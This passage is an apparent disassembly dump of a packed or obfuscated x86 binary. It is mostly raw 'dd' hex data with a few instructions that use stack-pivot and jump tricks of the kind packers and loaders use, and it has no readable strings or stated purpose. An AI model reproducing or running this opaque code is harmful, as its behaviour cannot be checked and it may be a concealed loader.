0E0BA7650h, 0F9B33D4Bh, 42C692D9h, 0E7D9816Eh dd 7D5B1D78h, 0BA49D68Ch, 0EBC01CAEh, 4D6BED94h, 3BB5C36Eh dd 4E94EBC0h, 2A75B4D0h, 0DCBDF2Ah, 0DEE16083h, 0EB5338B2h dd 0B1CD4D94h, 81059915h, 83E22C7h, 0C8D463ECh, 94EBC026h dd 4EAD97C7h, 0F74AD9D0h, 0B05F5B7Dh, 0C0951725h, 76E894EBh dd 0CEE868B7h, 0F30070FDh, 8DC15864h, 42DC8AC6h, 0C286BF69h dd 565274ECh, 2B3967D7h, 6D3F0D81h, 8CB0A9F4h, 0C8BD470h dd 96B9704Ah, 1213778Ah, 0BB100E73h, 0E444E994h, 2E89BF0Eh dd 86A0A0FFh, 0F3D76025h, 438CE151h, 6F9D2C35h, 23DF4379h dd 41AA8CC4h, 886365FAh, 0DA16598h, 0A7E26D4Bh, 340E4CB1h dd 0BCAD1198h, 8A73E44Ch, 31FECCAh, 0BFB904E7h, 902C3299h dd 44DDEB74h, 5B67B8CCh, 0DF99E4C7h, 0FB6212F9h, 0F0FD4D07h dd 83C05967h, 43DF6D95h, 7976C647h, 2082C2EEh, 548B6BFAh dd 48A33F01h, 595573F5h, 0B720063Eh, 6DBE98D8h, 249DCCDh dd 0B0DCD187h, 4E1E753Eh, 58B3CF53h, 49C9C7C6h, 0D85B2288h dd 136EBD87h, 0FC96754Fh, 27EE8145h, 0FC743A0Eh, 0BC4E5AE9h dd 0D1595212h, 12ED9F49h, 0FE605952h, 0F49A662h, 0C47FC229h dd 0ADE877E0h, 25C791B7h, 58595212h, 4434C7C6h, 0BFB9EDD1h dd 0D534E99h, 30CF23Bh, 22EBCD84h, 684365DFh, 11E1h, 271D100h dd 92C77E8Dh, 723D5DAEh, 65A44A8Dh, 0DC81E1C5h, 84BC03E8h dd 6DF249A2h, 312D705Bh, 0F169B417h, 0B9A1FCCFh, 9ED92487h dd 4A0E6DBEh, 15489774h, 5708D833h, 0C781E789h, 4, 8704EF83h dd 895C243Ch, 4832424h, 89570424h, 4C781E7h, 83000000h dd 3C8704EFh, 14895C24h, 5E056824h, 3C890000h, 75BB5324h dd 0BA3DBC02h, 0C87624B4h, 1C8BDA01h, 4C48324h, 4EC81h dd 24890000h, 24048324h, 0EC815F04h, 4, 8F241489h, 3C8B0847h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push dword ptr [esp] pop edx add esp, 4 jmp loc_544660 ; --------------------------------------------------------------------------- db 0FEh, 0B8h, 3Bh dd 306323Bh, 44E0FFC5h, 0CC4C67CDh, 0FF334749h, 7C6CD5E2h dd 0CB121AAAh, 0E87829E6h, 9, 30A825C8h, 2504E08Ch, 0DEA9BEACh dd 0B55B6F9Eh, 8AC381E8h, 0F5000071h, 68h, 0D6806000h dd 6187B005h, 0F7B70F58h, 60033C8Bh, 5E9h, 532CB600h, 0F480E676h dd 0F78161A7h, 44972704h, 0CE9h, 408BE300h, 0DDAA044Fh dd 0B9A40EA9h, 0BBF7816Dh, 0E8456F7Eh, 5, 18F69FC9h, 0EF815EF3h dd 525D2CA6h, 6E8h, 71DE9F00h, 0E9154343h, 0Ah, 534A5FAh dd 0DDE8E080h, 575A4C6Fh, 0F03048Fh, 8B66F7BFh, 8AE881CBh dd 0E90ABBC8h, 0Dh, 919A12F9h, 978E7C94h, 0CB4D0D96h, 86C08163h dd 660ABBC8h, 81A817BEh, 0FF8F74F8h, 23850FFFh, 0E9000000h dd 10h, 161D8B3Eh, 94D460E5h, 6EB782B1h, 0B742AE4Dh, 2DE9h dd 6D471400h, 58973099h, 9E928F5h, 4B000000h, 542FE4FBh dd 1E1D438Bh, 0FFFF37E9h, 67C11DFFh, 0A476D105h, 2088AA21h dd 0F3AE8CB6h, 5FE92FDAh, 52000001h, 0E860D48Bh, 0 dd 0ECED815Dh, 8B06323Ch, 453D0842h, 0F782638h, 13885h dd 0C428B00h, 0D3184A8Bh, 7277BBC8h, 0C333144Dh, 8904E883h dd 2B0EE185h, 4588B06h, 428BF88Bh, 184A8B10h, 0D2BEC8D3h dd 33DCC2FEh, 83C72BC6h, 0E883FCE0h, 0E1858904h, 8B062B21h dd 85891442h, 62B2BE5h, 5318428Bh, 0B0E9h, 25B5FF00h, 0E9062B05h dd 0B9h, 0D25B5FFh, 0AEE9062Bh, 0FF000000h, 2B0A91B5h dd 0A3E906h, 0B5FF0000h, 62B07A1h, 98E9h, 65B5FF00h, 0E9062B01h dd 8Dh, 0DFDB5FFh, 82E9062Bh, 0FF000000h, 2B1A95B5h, 77E906h dd 0B5FF0000h, 62B24D5h, 6CE9h, 19B5FF00h, 0E9062B12h dd 61h, 2EF1B5FFh, 56E9062Bh, 0FF000000h, 2B18B9B5h, 4BE906h dd 0B5FF0000h, 62B2A5Dh, 40E9h, 0A5B5FF00h, 0E9062B21h dd 35h, 1D15B5FFh, 2AE9062Bh, 0FF000000h, 2B0ECDB5h, 1FE906h dd 0B5FF0000h, 62B0D45h, 14E9h, 0B8D88B00h, 0Bh, 8DE3F766h dd 323D4D8Dh, 0FFC80306h, 3195FFE1h, 5B062B27h, 0EE1858Bh dd 5839062Bh, 0F850F04h, 53000000h, 95FF016Ah, 62B2945h dd 0FFE2E95Bh, 5A61FFFFh, 0B85A61C3h, 77D4C96Ah, 858BE0FFh dd 62B2C39h, 3E3B8D8Dh, 41890632h, 0E8C38B01h, 0Fh, 196CFCF9h dd 46D49AE7h, 933B053h, 0E8B02BB6h, 0Ah, 0C0DA3AAEh, 0FC026216h dd 7E9BC2Fh, 0E000000h, 43EB4A0Fh, 5E590A3Dh, 0FFA3C981h dd 0C68174ECh, 7598h, 524B24B9h, 1D45680Fh, 8B580000h dd 0DEBF0F16h, 0C227F281h, 81F54001h, 2769F2h, 9E95Bh dd 0AB080000h, 0B0EF5A60h, 81D70CDFh, 476BBFEAh, 5E961h dd 682E0000h, 89AAA518h, 2EE8316h, 4EAEF780h, 48CB8A4Eh dd 0FFBD850Fh, 1AB5FFFFh, 3FD48D8Dh, 6A0632h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 140424h, 53430000h, 9D8BD7C3h dd 62B0889h, 0EE18D89h, 6A062Bh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 160424h, 52420000h, 2E48D0C3h, 21E185C7h dd 70D0062Bh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 180424h, 57470000h, 62E663C3h, 0D6B47072h, 2BE585C7h dd 62Bh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 150424h, 50400000h, 0FFCE75C3h, 2B18B9B5h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h dd 159D89A1h, 0FF062B2Fh, 2B273195h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1504h, 0C3504000h, 0B70F8CDCh dd 0FF006AFBh, 2B294595h, 0EBC08B06h, 0F54D32Ch, 0D28A3FB0h dd 0C5B89A43h, 1B644986h, 0D7517604h, 0C60E9B68h, 0E8657914h dd 0AD9215E8h, 9BB6B9CFh, 33A11D8Ch, 3B765EA8h, 5E8EBh dd 47890000h, 0BA2C4EC8h, 271F5CA2h, 0A378BE5Bh, 0C3817CCEh dd 66FBh, 8B666052h, 7E9CFh, 180C0000h, 0AA698839h, 0B95A6100h dd 1996h, 7958589h, 33FF062Bh, 8B0Fh, 8B580000h, 31E881F3h dd 667EF0FEh, 0C081D78Bh, 0F8B6B47h, 81D1BF0Fh, 844EE0C0h dd 0BE97Dh, 54C50000h, 8E257A9h, 667C2C59h, 8B0389C7h dd 2B17D1BDh, 4EB8306h, 0F01E983h, 1A85h, 0FBB70F00h, 24E9h dd 26E5200h, 0DC47DD90h, 0EE6D5AEEh, 0B63847B9h, 0F7E6914h dd 97E9FEB7h, 15FFFFFFh, 93B167FDh, 0B675D182h, 26E90Fh dd 42100000h, 548h, 8 dup(0) dd 4E0E9h, 41DD6800h, 0CDE90632h, 68FFF93Eh, 6324270h dd 0F93EC3E9h, 43C268FFh, 0B9E90632h, 7EFFF93Eh, 0D02FEBDDh dd 207FBB8Dh, 718E0A3Ch, 0BDDAD6F6h, 1A67A3A5h, 0A2A4BA27h dd 73550966h, 3D0758B7h, 88AEA6C1h, 93A14E0Ch, 92D98019h dd 2C5BE86Ch, 0BEB50E9Fh, 9AD5FCB2h, 0A12AD4ABh, 10362A05h dd 6066A7BBh, 784E1271h, 0D6E86EB1h, 0BBAEA6F5h, 0EBC003ADh dd 4CE87694h, 469D950h, 0D8E0CDDBh, 0B178AC6h, 389E2CA0h dd 3BD46D3Fh, 0C8C1FB5Ch, 333F6B5Fh, 0EB776BD2h, 309h dd 56B54EF7h, 31174AE6h, 0A73E4A95h, 0C28AC68Dh, 5CAF91C7h dd 678675C2h, 2C0F3144h, 0E7203EFDh, 0D470E0F9h, 707DCD6Bh dd 0B66CD9E7h, 1F0376A9h, 0C22F9FCCh, 0DCC68795h, 32797C82h dd 629BCEE1h, 0B01FBBC0h, 79B593D5h, 81C3261Eh, 577C9974h dd 46E2CD11h, 0D6A982Ah, 0AE7D53E8h, 355A7h, 0C5FF5C00h dd 95ABAEC9h, 645AFE19h, 30144FA8h, 0FDC79BF4h, 9805F401h dd 0E700FCC6h, 36514D77h, 84E31F21h, 6C2EEACCh, 813FB1DFh dd 0D65292D9h, 0D21F6FF2h, 8D8BF685h, 0D54AD5A7h, 4F4FC6E8h dd 0BD0490E0h, 6EFC444Ch, 3A118ADDh, 25719C2Eh, 0CD69F16Dh dd 69530782h, 6DE7A2ADh, 18F3D588h, 7901EA06h, 14E971B0h dd 92AC7F41h, 0A8379576h, 5B6D2571h, 0E8810C19h, 460DAAF9h dd 0FE50DA84h, 0F6256D25h, 0A7C35F61h, 3386F71Dh, 2C27F44Ah dd 2C2h, 5C586CF1h, 0EC281C43h, 3FFBCD93h, 4B4761E0h, 94102A2Ch dd 352DB669h, 0E2789713h, 96CB24E0h, 5F1976B2h, 30DFBD79h dd 0D9828A24h, 6179FF92h, 85D21F6Fh, 0D35D6BF6h, 0A694EBC0h dd 0FB5F71B8h, 1A8ADD9Fh, 9B29A704h, 6A6D2600h, 0A5F8D3F5h dd 6A208BBDh, 0A478EFD3h, 0F17DA99Dh, 9577649Dh, 1B1h dd 53127131h, 0EB6DB475h, 3453FECDh, 4082D83Dh, 72BBD76Bh dd 9713352Fh, 9EC92696h, 0C6DEEF72h, 3398868Ah, 3F3E0F9Dh dd 0C8BC456Dh, 6BDBD09Ah, 477477h, 71560000h, 0EFC4402h dd 0CAC3093Ah, 5B84E959h, 0BB8DD1CCh, 0B1DFCE50h, 8AC65EB8h dd 0F2D488D7h, 6E50119h, 36084C4Bh, 5D4BD9F7h, 0F0016D3Eh dd 7694DE0Ch, 0CB48776Ch, 1000000h, 51C46672h, 23256D3Eh dd 61A8B605h, 32C78165h, 9AA6D3FCh, 94EB2F10h, 6B8AF565h dd 7D4EEA24h, 0A506381Eh, 0AF381E56h, 807AF400h, 130F94EBh dd 240C4E24h, 0C4C53438h, 4C6AEA31h, 95C8C750h, 0C7C658B3h dd 0EB765DC9h, 5274EC94h, 0A67D756h, 0AB43CFDDh, 831E8AD9h dd 10342BDCh, 2C0BA7BBh, 17961729h, 5231DC0Bh, 0ACF33A0Ch dd 0FB1490AAh, 0C7D75D67h, 0B04A2ED9h, 170E863h, 1A430000h dd 0CE95F22Eh, 7FE502FEh, 33324D49h, 0D87E9915h, 18DF2AE6h dd 25E1DB7Fh, 7AB690CAh, 8400441Dh, 0D3CFE96Bh, 54D6E209h dd 2992D983h, 0D981172Bh, 613C2BE7h, 5BE7C4F8h, 0BCE7C6ECh dd 535A44CBh, 0F632144Ch, 0C2A2A69h, 0C781F99Dh, 48470AE1h dd 0A5FC2D17h, 3F5A85A3h, 0B7CB2004h, 31818876h, 0F804933Ch dd 94EBC076h, 7B96170Bh, 0C6927C6Dh, 0C00F138Ah, 72852735h dd 66F86D3Fh, 7E1DA8A7h, 0D78AE5DBh, 85041AF1h, 8F31E47Ah dd 0ECFCF3DDh, 46D1CD69h, 0F930144Bh, 3FD449D7h, 545D486Dh dd 48E20ED6h, 3D6D3FCEh, 0E796521Dh, 195BA667h, 0B2A4C33Fh dd 712C2388h, 3DD8D1F7h, 0AEh, 0D21F6F25h, 0C8BF685h, 88BE5AF8h dd 0DA22AE5Fh, 338ADDA3h, 0C781DC2Fh, 3C24C6D2h, 0C1596D26h dd 564F3AA5h, 1FBE2C56h, 4C76E847h, 742AE37Fh, 0AC7F591Bh dd 0D8079020h, 6A5ED771h, 6EE90C44h, 41DD7D4Eh, 0C2A2A45h dd 73F590BFh, 4CFE0A55h, 162B817h, 0D6919019h, 0E46B15F6h dd 3F8CB0A9h, 2C487AE0h, 2A8044FDh, 87900C2Ah, 0B7F08DF8h dd 0DC1835BAh, 0B82878F2h, 0D9536162h, 0AC62B828h, 0D8D149B2h dd 8E9A8FC9h, 62B828FCh, 0B6AE8991h, 8B273B90h, 729E2D20h dd 62B828F8h, 4CDB5E8Dh, 0D8A2491h, 31D38F1h, 5000000h dd 0DC817A5Eh, 84BC03E8h, 6DF249A2h, 312D705Bh, 0F169B417h dd 0B9A1FCCFh, 9ED92487h, 4A0E6DBEh, 15489774h, 6808D833h dd 666Eh, 68241C89h, 4F51h, 50241C89h, 405E089h, 83000000h dd 48704E8h, 2C895C24h, 40FF6824h, 1C8B0632h, 4C48324h dd 242C8B54h, 5004C483h, 8B8h, 89E80100h, 24048B18h, 4C481h dd 2C8B0000h, 0E6895624h, 4C681h, 0C6810000h, 4, 5C243487h dd 5B2434FFh, 0E904C483h, 0FFF939F8h, 4557B841h, 0C5030632h dd 243EE0FFh, 182B6EAFh, 0A27870BAh, 94356796h, 0A61E1591h dd 91424872h, 78C70C27h, 87A95C9Bh, 24B01FD6h, 490302h dd 8AFE6122h, 54272DB2h, 9DD310D9h, 825038D9h, 0F5DC6E70h dd 4C011716h, 0E27E70F2h, 2AD90AA1h, 0BE81B11h, 92000000h dd 0F93BCC40h, 1FB685E3h, 0B70FA18Ch, 0D38058DEh, 0EBC081E2h dd 0F000066h, 68Ch, 0B9665100h, 2B5F12CDh, 73ED80D2h, 6010348Bh dd 0CE9h, 93237C00h, 28002694h, 0BA99B7B3h, 0EEBA66D9h dd 0C6816132h, 7C73C474h, 81DBB70Fh, 588194C6h, 0EE84Ch dd 93FD0000h, 0F927B4CEh, 0A9FD0FB7h, 0CFE07DEEh, 59CF8B66h dd 6411EE81h, 6E94A2Dh, 70000000h, 691FB956h, 8B6656C7h dd 10048FCBh, 6830F60h, 81000000h, 0F89F16DFh, 0D4BB661Ah dd 8B66614Ch, 9AEA81C8h, 0F5865EDh, 0C281C8B7h, 5865ED96h dd 13880Fh, 0EE90000h, 18000000h, 8930CB3Ch, 3D1890D7h dd 80547641h, 0E0FA8159h, 0FFFFF99h, 0FFFF5F85h, 0E18166FFh dd 13E8A971h, 96000000h, 9A0A4486h, 60B25519h, 28296EDBh dd 71F59312h, 665E8A28h, 81A76FBBh, 6446C6h, 0DCBAF900h dd 8128FFFBh, 1D0EC2h, 8B5B57D7h, 0FE8B6606h, 4A60C081h dd 0E8812BB2h, 1EDC336Ah, 9E8h, 0A8019E00h, 69C788Ch, 0DE8AF74Ch dd 69F0815Fh, 0E834CE5Eh, 0Ah, 1D7A8232h, 653A7B4Fh, 59FCE66Bh dd 14E950h, 45A0000h, 7D399757h, 0BCCE8B11h, 0CC847790h dd 0D53D44BFh, 68F71CFh, 0CE8B6656h, 3EE835Fh, 0A3FEDF81h dd 0F54E797Ah, 94850F4Ah, 0FFFFFFFh, 485h, 83BF6600h, 0DE819h dd 2A160000h, 62B17468h, 8325BC3h, 0E8B69F89h, 11h, 0B010A805h dd 0E4F51CB6h, 0B76CF2B1h, 0DDED8028h, 665B58C2h, 999ECA81h dd 6DC5C381h, 0FE80000h, 3000000h, 275EFB15h, 2D1F9DF3h dd 8DBE34C8h, 0BF0F5B96h, 0B958FFh, 0E9000000h, 7, 9B441D41h dd 0FFB5526Ah, 810F1934h, 4, 0ABC1BA66h, 81FE8B5Eh, 85A31EEEh dd 14E936h, 0ADD60000h, 9146B24Bh, 4B0DFCA8h, 0A7176C52h dd 2989EA13h, 0C681E8E1h, 149568BBh, 0AA20F681h, 0B8667752h dd 6656BF00h, 48FF88Bh, 0BA66F50Bh, 0E983C509h, 46CA8104h dd 812C1C5Eh, 0FF9328F9h, 1E850FFFh, 0F000000h, 988h, 3840F00h dd 80000000h, 24E931C8h, 18000000h, 720825E8h, 874610EEh dd 7CE9F904h, 72FFFFFFh, 36AF3F7Bh, 0DAAED532h, 6B20F3DCh dd 916E13h, 8BB745ADh, 0F9BD83C0h, 62B01h, 0BD830975h dd 62B1689h, 50197400h, 0B8C08B53h, 421h, 1B818589h, 9D8D062Bh dd 62DBF75h, 585BD3FFh, 1689BD83h, 7400062Bh, 0B8535017h dd 421h, 1B818589h, 9D8D062Bh, 62DBC64h, 585BD3FFh, 9D8BC08Bh dd 62B0809h, 332D85C6h dd 6856062Bh, 9CA8B852h, 1BDDB5FFh, 858D062Bh, 62E83EBh dd 46AD0FFh, 100068h, 0F5B5FF00h, 6A062B0Eh, 85D0FF00h dd 0D850FC0h, 0B8000000h, 0 dd 71868D8Dh, 0E1FF062Bh, 0C38BC88Bh, 53C4003h, 0F8h, 30C508Bh dd 0D5BD83D3h, 62B18h, 0E840Fh, 9D8B0000h, 62B18D5h, 35AD858Bh dd 389062Bh, 858D5251h, 62B7B21h, 0FA8BD0FFh, 0D18BF18Bh dd 0A4F3C88Bh, 332D85C6h, 6856062Bh, 0D41F6D39h, 1BDDB5FFh dd 858D062Bh, 62E83EBh, 68D0FFh, 6A000080h, 0D0FF5200h dd 0BD83C08Bh, 62B01F9h, 83097500h, 2B1689BDh, 19740006h dd 0C08B5350h, 421B8h, 79858900h, 8D062B34h, 2DBFDC9Dh dd 5BD3FF06h, 89BD8358h, 62B16h, 53501774h, 421B8h, 79858900h dd 8D062B34h, 2DBC7D9Dh, 5BD3FF06h, 8DC08B58h, 2B18D59Dh dd 0B038B06h, 7840FC0h, 8B000000h, 45B8B03h, 41B81889h dd 0E800004Bh, 0Bh, 55BD9245h, 7BED3Eh, 5B91F477h, 25C381F5h dd 680000E6h, 396Bh, 5E8h, 6ABF600h, 5F583E11h, 0BF0F0B8Bh dd 55E981C2h, 0BE250F73h, 3F4F53E4h, 0B0A8C181h, 0C78B52DBh dd 0B180E981h, 2AB244B8h, 0B8660B89h, 0EB838578h, 0F4FF804h dd 1885h, 21F68100h, 0E971F2D1h, 1Dh, 0F426D0F4h, 248AC176h dd 0DBCD124Ah, 8CBA6685h, 0FFAEE90Ch, 266DFFFFh, 436AF20Fh dd 13E8B2h, 31570000h, 5AB0C4B2h, 0B965C01Fh, 2278A2CCh dd 9DEE71Dh, 5E94Bh, 0A8240000h, 5943AB19h, 81D08B66h dd 68B7C1h, 3850F00h, 66000000h, 768C18Bh, 0F00001Ah, 0F5ED1BFh dd 580h, 394FBB00h, 398B32FAh, 8A47F781h, 81F50828h, 0B94BE5F7h dd 55C0807Bh, 4F87EF81h, 0EE8025E6h, 0F398994h, 0E983C6BFh dd 0D8816604h, 0EE83E31Eh, 14850F01h, 56000000h, 5BD08B66h dd 20E9h, 0C1FAC900h, 55E96B26h, 0FC8EF382h, 0FFFFB5E9h dd 9FF3FFFh, 7D4BE69Ah, 0B8E0707Bh, 0D1C04B6Bh, 0A5CAFE2Bh dd 1AA80AB0h, 0E08A4E39h, 0ABA80AB1h, 0B875EAD5h, 0A80AB1h dd 0BA8A4E3Eh, 0FD57AE5Dh, 0A88A4E3Eh, 0ABA80AB6h, 7375EAD5h dd 23A80AB7h, 0FD8A4E3Fh, 0ADA80AB7h, 778A4E3Fh, 0ABA80AB4h dd 2575EAD5h, 1890D42Fh, 0C0031318h, 529A1AADh, 92C90A7h dd 0D1215790h, 43B85E39h, 1855D42Fh, 0C0031318h, 529A1AB5h dd 8DF90A7h, 0D1215790h, 43B85E35h, 1904D42Fh, 0C0031318h dd 529A1A81h, 0B8B90A7h, 0D1215790h, 43B85E01h, 1AEDD42Fh dd 0C0031318h, 529A1A8Dh, 0B0490A7h, 0D1215790h, 43B85E1Dh dd 1A67D42Fh, 0C0031318h, 529A1A99h, 0A9A90A7h, 0D1215790h dd 43B85E15h, 1BF9D42Fh, 0C0031318h, 529A1AE1h, 0A0090A7h dd 0D1215790h, 43B85E6Dh, 5012B8C3h, 0CEDF152Ah, 0A86CD24Eh dd 458AFD4Ah, 0D5F251A2h, 77C1E7C0h, 0A8ED96A4h, 458A152Ah dd 67A02429h, 0BAB496E3h, 54A1D5ADh, 0C6CB152Ah, 0BA415564h dd 0CE75EAD5h, 413AAE63h, 848C3E01h, 11AB5342h, 55FFEA22h dd 0ABA4245Dh, 0B9CF9C3Ah, 0A8EDDAC3h, 4586D7E3h, 0D744DAF7h dd 0CEEAE9EEh, 292359D7h, 0B9CFD226h, 54A851A2h, 4162AD6Ch dd 660351A2h, 0EE27BFEAh, 31D2DB2Fh, 94751318h, 0D9020112h dd 77EF6FA0h, 0EC79AEA4h, 41AE51A1h, 2E22DC09h, 0BA8C274Fh dd 0DF103773h, 0C821732Ah, 66CD2B28h, 0FD5BEA2Ch, 508C152Bh dd 3F009881h, 0ABAE63C7h, 0EFD2A5FBh, 0DDA42C89h, 0CEEBE957h dd 9661ADE7h, 0CEDF1522h, 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h dd 77C6A7C0h, 5CDDDAA4h, 828668A1h, 54A8ADE7h, 0BACC152Ah dd 7FB7D030h, 0CE529E2Ch, 9783FC69h, 0EFE2A5B9h, 0D9F9FA31h dd 77EF6FA0h, 0D79AEA4h, 2320949Ah, 328C551Ah, 6E218481h dd 29215DDFh, 174D6h, 5C6A985Eh, 0A901402Ah, 34549521h dd 458A15C2h, 0BE290BA2h, 43B85823h, 0DFA02429h, 4D1957h dd 54A8515Eh, 0D775532Ah, 52834E23h, 0CE19CDA1h, 979BFC69h dd 0EFE2A5B9h, 0D9F9FA31h, 77EF6FA0h, 0D79AEA4h, 2320949Ah dd 328C651Ah, 6E218481h, 29215DDFh, 174D6h, 5C6A985Eh dd 0A901402Ah, 34549521h, 0CE8260A1h, 116F5DDFh, 458A15D6h dd 953BFDA2h, 97B91DC9h, 0DE049191h, 454A38F2h, 0A82851A2h dd 5E0E1AD5h, 0EDA851A2h, 458A1523h, 862DA055h, 45869025h dd 0A32851A2h, 8E4B7332h, 972337AAh, 38A1BE4Ch, 0A8D5D8AEh dd 0B9CF9E4Bh, 54A0936Bh, 0C6669E7Fh, 0DFC8AD66h, 38011D5Fh dd 0A8ED96AEh, 458A152Ah, 0B769C20Eh, 76582622h, 8C22FD62h dd 458AD507h, 0AB54D1A2h, 45939125h, 5D1151A2h, 0B28A152Ah dd 5B7AD453h, 458A1FAFh, 5610E0A2h, 0EF4B93E2h, 7F039191h dd 38031957h, 1123305Eh, 4D48DCD6h, 0B82304A2h, 2576D1A9h dd 0DFA02429h, 4D1957h, 54A8515Eh, 9D00B92Ah, 0D4A7B222h dd 860085E1h, 2E22DC08h, 0BA8C274Fh, 0FEF8E173h, 20F09FA7h dd 85575790h, 6E20D6A0h, 29215DDFh, 174D6h, 5C6A985Eh dd 0A901402Ah, 34549521h, 0CE8260A1h, 116F5DDFh, 458A15D6h dd 54AFE9A2h, 0D775152Ah, 52837AB7h, 0C8204526h, 66CD2B28h dd 0F55BEA2Ch, 949BFB2Bh, 2E853186h, 50AC5962h, 0EFAEA580h dd 0DDA42C89h, 0CEEBE957h, 9661ADE7h, 0CEDF1522h, 0A86CD24Eh dd 4DFF9E4Ah, 93A42C29h, 458AE96Fh, 0FE0451A2h, 5A0B87D5h dd 8C235789h, 0EF491786h, 31D2DB2Fh, 94751318h, 0BD28E9C4h dd 8600BE4Ch, 58D57A08h, 247668A3h, 9D541429h, 108A1DE8h dd 902BBD29h, 300175D6h, 58D5DAAAh, 457650EDh, 0F8A851A2h dd 0C418EA80h, 0DFAE7ABDh, 8558B9E2h, 2E32DC08h, 0BA8C274Fh dd 94103771h, 0CF2173E3h, 2983FB63h, 0B9F79C26h, 0A8EDDAC3h dd 4582D7E3h, 0D744DAF7h, 0CEEAE9EEh, 292359D7h, 0B9CFD226h dd 54A851A2h, 0D775BF86h, 52834E23h, 7726DDA1h, 0CE25FB63h dd 43B87050h, 0ECCE825Dh, 0EEECE4AAh, 7F029028h, 38031957h dd 1123305Eh, 4D48DCD6h, 0B82304A2h, 2576D1A9h, 0DFA02429h dd 4D1957h, 54A8515Eh, 7732732Ah, 0D903376Bh, 77EF6FB0h dd 327BAEA4h, 234B9592h, 0FE04FD09h, 0CC866801h, 0DFC9ADDFh dd 8743E96Fh, 0DFFD51AAh, 0B94E96C6h, 5CDDDAC2h, 828668A1h dd 54A8ADE7h, 0FDEC152Ah, 0FFCEB824h, 20F08FA7h, 87575790h dd 320A09Ah, 0CE25FB0Eh, 43B87050h, 0ECCE825Dh, 0EEECD8ACh dd 0DDA42C89h, 0CEEBE957h, 9661ADE7h, 0CEDF1522h, 0A86CD24Eh dd 458AFD4Ah, 0D5F251A2h, 77C5CFC0h, 0A8ED96A4h, 458A152Ah dd 0DFA02429h, 79261957h, 1E2C5E91h, 798A152Ah, 162C5E89h dd 798A152Ah, 492C5ECAh, 798A152Ah, 382C5E13h, 798A152Ah dd 5C2A5EF2h, 798A152Ah, 6B2A5EFAh, 0AC8A152Ah, 54A851D6h dd 0BA8660D5h, 0CE2559D7h, 43B85E25h, 0B232DCF1h, 0BA8C2761h dd 0A8EDD871h, 458A42C3h, 58DDAEA2h, 0C88260D5h, 66E34E38h dd 0DF07462Ch, 529A1A44h, 3C6D5h, 5492B85Eh, 3075152Ah dd 5CDDAEAEh, 0EA18FA7h, 0D9FB5790h, 77C1F3B0h, 0DD7BAEA4h dd 5863E96Fh, 0ABA851A2h, 3075195Fh, 6332DCAAh, 168C2761h dd 1F4ECB2Fh, 96751318h, 0BD54142Bh, 458A152Ah, 0A8EDDAC3h dd 4582D7E3h, 3044BAh, 0E99D8D00h, 0B8062B2Ch, 1300h, 1FD18589h dd 0E8062Bh, 58000000h, 0D05h, 0E9038900h, 1300h, 4C0h dup(0) dd 75FDED55h, 76F67A5Eh, 56E669A4h, 0EBFD49BCh, 49FD21E5h dd 8EFD21CBh, 0ECFD21DFh, 0DEFD2155h, 0B4FD2190h, 9DFD2172h dd 72FD2103h, 69FD21BAh, 94FD21E6h, 6DFD21C8h, 0C6FD21DCh dd 23FD2157h, 0FD2191h, 0EDFD2173h, 0A9FD2102h, 0FDFD21B9h dd 9DFD21E5h, 95358A25h, 76D6A222h, 5CDE714Ah, 5CF44BBDh dd 75FD7A5Ah, 75F57227h, 74FD7997h, 73FD78CBh, 74F57DEDh dd 74FC7BF3h, 75FC7B78h, 75FD7ABCh, 76FD7A5Eh, 75A7D785h dd 75A7D456h, 75FD7ACBh, 74FC7BE4h, 74FC7BF3h, 75F8B290h dd 0F0701ABCh, 73CF1DBEh, 11EAFFA6h, 0F0707CA5h, 73CF1D3Dh dd 162AFF6Ch, 0F0707CC0h, 73CF124Dh, 11EEFF35h, 0F0707C6Ch dd 73CF1DBBh, 1626FF1Eh, 0F0707CF9h, 73CF1DB6h, 1622FF7Bh dd 0F0707C4Bh, 73CF1F4Dh, 161EFFD7h, 0F0707C1Dh, 73CF1C94h dd 161AFF42h, 0F0707CD7h, 73CF1CEBh, 1616FFF0h, 0F0707C8Eh dd 73CF1C2Ah, 160AFFA6h, 0F0707CA5h, 73CF1C8Bh, 1612FF6Ch dd 0F0707CC0h, 73CF1C26h, 160EFF35h, 0F0707C6Ch, 73CF1C5Bh dd 160AFF1Eh, 0F0707CF9h, 73CF1C4Bh, 11FAFF7Bh, 0F0707C4Bh dd 73CF1C71h, 11F6FFD7h, 0F0707C1Dh, 73CF1C67h, 11F2FF42h dd 0F0707CD7h, 73CF1DCBh, 1606FFF0h, 0F0707C8Eh, 73CF1D2Eh dd 1602FFA6h, 0F0707CA5h, 73CF12C0h, 11FEFF6Ch, 0F0767CC0h dd 73D665F8h, 11ADFF35h, 0F0767C6Ch, 73D6513Ah, 11A9FF1Eh dd 0B69C7CF9h, 9D11F1B0h, 75FD7AF2h, 1117FB23h, 25FB48D9h dd 0FDF53FD5h, 479935ADh, 0B7342291h, 23AC7ACFh, 20AD29B7h dd 75FD7A1Ah, 987C2779h, 73CF1F39h, 162BFFA0h, 0C87D7C1Dh dd 73CF1941h, 0C5B409CFh, 0B54B75E4h, 3589BAF9h, 11A9EF86h dd 0FEBD7C8Eh, 7A452B96h, 8AFD7A2Fh, 47992E02h, 0A248F7CDh dd 0F8FB4886h, 9D50FCC6h, 75FD7E4Bh, 76456FCFh, 8AFD7A5Eh dd 47992EBAh, 0A248F791h, 0F8FB48A8h, 8A50FCD1h, 0BC1F2322h dd 162BF787h, 2DA07C8Eh, 2CA32005h, 776D92ECh, 0CD4D7A97h dd 8A5779C1h, 47992A70h, 9D3ED1F4h, 75FD7807h, 0CD9BC2DAh dd 0DE9B5954h, 11ADEFD0h, 0DE9B7CA5h, 77959208h, 360B7AE5h dd 6E8872F3h, 11ADEF86h, 0C54D7C8Eh, 8AAD7954h, 47992ABAh dd 0F69B2091h, 7E9B7E2Bh, 0B6561C27h, 75FF6B1Ah, 4E152979h dd 2FFD7ABEh, 7B89A065h, 913D59A5h, 0F5DF7094h, 0FE4DBA07h dd 9D3ED183h, 75FD7B00h, 77E1922Ah, 4EA77ABCh, 0C5120E84h dd 0A916D049h, 